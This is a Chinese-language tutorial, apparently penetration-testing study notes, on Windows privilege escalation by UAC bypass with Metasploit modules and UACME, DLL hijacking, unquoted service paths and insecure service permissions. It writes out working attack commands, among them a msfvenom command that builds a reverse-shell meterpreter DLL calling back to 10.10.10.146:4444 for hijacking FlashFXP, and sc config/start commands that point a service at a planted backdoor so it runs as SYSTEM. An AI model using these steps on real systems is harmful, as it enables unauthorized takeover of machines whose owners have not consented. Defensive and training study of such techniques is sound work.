Win7&10-BypassUAC自动提权-MSF&UACME
用户账户控制-UAC
用户帐户控制(User Account Control,简写作UAC)是 微软 公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对 应用程序 使用 硬盘驱动器 和 系统文件 授权,以达到帮助阻止 恶意程序 (有时也称为“ 恶意软件 ”)损坏系统的效果。
四种级别
总是通知将会:
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时通知你。
冻结其他任务,直到你做出响应。
注意:如果你经常安装新软件或访问陌生网站,则推荐使用此选项。
仅当相关程序尝试更改我的计算机时通知我
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时不通知你。
冻结其他任务,直到你做出响应。
注意:如果你经常安装新软件或访问不熟悉的网站,但更改 Windows 设置时不希望收到通知,则建议使用此选项。
仅当相关程序尝试更改计算机时通知我(不降低桌面亮度)
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时不通知你。
不会冻结其他任务或等待响应。
注意:如果需要花费很长时间才能降低计算机上的桌面亮度时,才建议选择此选项。否则,建议选择上面的一种选项。
从不通知(禁用 UAC)将会:
当程序试图安装软件或对电脑做出更改时不通知你。
当你对 Windows 设置进行更改时不通知你。
不会冻结其他任务或等待响应。
注意:出于安全考虑,此选项不推荐使用。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC
绕过项目:MSF内置,UACME项目(推荐),Powershell渗透框架
开启UAC和未开启UAC时,MSF默认getsystem提权影响(进程注入)
未开启UAC getsystem直接提权成功:
开启UAC msf直接提权不成功:
1、MSF模块:
-Test in Win7 本地电脑 本地权限
use exploit/windows/local/bypassua
该模块不适用于win10操作系统:
-Test in Win10 本地电脑 本地权限
use exploit/windows/local/ask #对方电脑弹框,需要目标电脑确定,但是通杀各种版本
录制的视频有点大(一分半),插不进来,详见百度云视频链接
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup #使用方法类似,适用于win10操作系统
2、UACME项目:百度云链接
https://github.com/hfiref0x/UACME(可以自己下载最新版本源代码自行编译,百度云中是编译好的)
Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor.
x86-32/x64 Windows 7/8/8.1/10/11 (client, some methods however works on server version too).
Admin account with UAC set on default settings required.
Run examples: 61个选项即61种方式绕过UAC
akagi32.exe 23 akagi64.exe 61 akagi32 23 c:\windows\system32\calc.exe akagi64 61 c:\windows\system32\charmap.exe 好用的编号 23 61 Akagi64.exe 编号 调用执行
调用后门程序如果没反应的话就多尝试其他编号
3、Powershell框架:
暂时搁置……
Win2012-DLL劫持提权应用配合MSF-FlashFXP
程序运行过程中加载的动态链接库;limux下以so为后缀
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。
通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索: 1、应用程序加载的目录 2、C:\Windows\System32 3、C:\Windows\System 4、C:\Windows 5、当前工作目录Current Working Directory,CWD 6、在PATH环境变量的目录(先系统后用户)
过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功
检测: ChkDllHijack 火绒剑
上方dll文件在C:\Windows目录下,普通用户权限不够,不能够劫持。下方dll文件在程序当前目录下,可以尝试劫持。
项目:https://github.com/anhkgg/anhkgg-tools 百度云链接
拖入程序,输入相关进程路径,检测能否劫持
能够劫持 测试程序flashfxp(模拟对方服务器上部署的ftp服务) 百度云链接
‘’不能劫持
利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。
msf生成 dll劫持文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.146 lport=4444 -f dll -o ssleay32.dll
提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用
条件:需要管理员去触发执行flashfxp程序,实现dll劫持
不带引号服务路径配合MSF-MacroExpert
原理:即使正确引用了服务路径,也可能存在其他。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
检测项目:JAWS
https://github.com/411Hall/JAWS
Usage:
Run from within CMD shell and write out to file.
CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
Run from within CMD shell and write out to screen.
CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1
Run from within PS Shell and write out to file.
PS C:\temp> .\jaws-enum.ps1 -OutputFileName Jaws-Enum.txt
带引号:
"C:\Program Files (x86)\Common Files\Adobe\AdobeUpdateService.exe"
带引号 有空格的目录还是一个整体
不带引号:
C:\Progra m Files (x86)\Common Files\Adobe\AdobeUpdateService.exe(中间有空格)
不带引号 有空格的目录就会认为是文件加参数
条件:需要目标可以运行powershell脚本,
Test in win server 2008
这里我直接运行的脚本,powershell上实在太慢了
生成了一个455kb的结果,截取其中我们想要获取的部分
以 C:\Program Files (x86)\Windows Media Player\wmplayer.exe 为例,我们将后门改查Program.exe 并且上传至C盘根目录下,等到服务器重启或者对应服务重启后,后门以system权限上线。
检测命令:(功能同JAWS 并且排查winodws下目录(windows目录下权限不够))
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
上传反弹exe,设置好对应执行名后,执行sc start "OfficeUpdateService"
不安全的服务权限配合MSF-NewServices
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
检测脚本:accesschk PowerUp(PowerSploit) 1、accesschk.exe -uwcqv "administrators" * #检测所有服务以权限 2、Import-Module .\PowerUp.ps1 Invoke-All Checks
重点关注 权限为 SERVICE_ALL_ACCESS 的服务
https://github.com/PowerShellMafia/PowerSploit
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
sc config "OfficeUpdateService" binpath="C:\Program.exe" #需要本地用户权限 webshell权限不行
sc start OfficeUpdateService
注:路径的空格引号问题 但是没有修改服务本身路径的权限
服务权限问题 可以修改服务对应的路径